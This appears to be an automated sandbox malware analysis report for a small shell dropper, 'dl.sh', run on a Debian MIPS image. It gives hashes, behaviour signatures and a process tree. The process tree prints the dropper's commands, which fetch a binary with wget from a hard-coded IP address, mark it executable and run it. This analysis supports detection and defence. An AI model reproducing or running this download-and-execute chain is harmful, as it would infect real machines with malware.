Analysis

  • max time kernel
    1s
  • max time network
    3s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    29/09/2026, 12:19

General

  • Target
    dl.sh
  • Size 622B
  • Sample260929-phebjazbnb
  • SHA256 e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dl.sh
    /tmp/dl.sh
    1⤵
    • Executes dropped EXE
    PID:717
    • /bin/uname
      uname -m
      2⤵
        PID:720
      • /bin/rm
        rm -f w
        2⤵
          PID:726
        • /usr/bin/wget
          wget -qO w http://23.95.228.20/wife.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod +x w
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/w
          ./w
          2⤵
          • Reads runtime system information
          PID:742

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            w

            • Path /tmp/w
            • Size 75KB
            • SHA256 a05fd686ad8b6338e293d51feba36f8f9f0bdac4f3c2c1301581745dd2ce5237
            • MD5 SHA1 SHA512 SSDEEP TLSH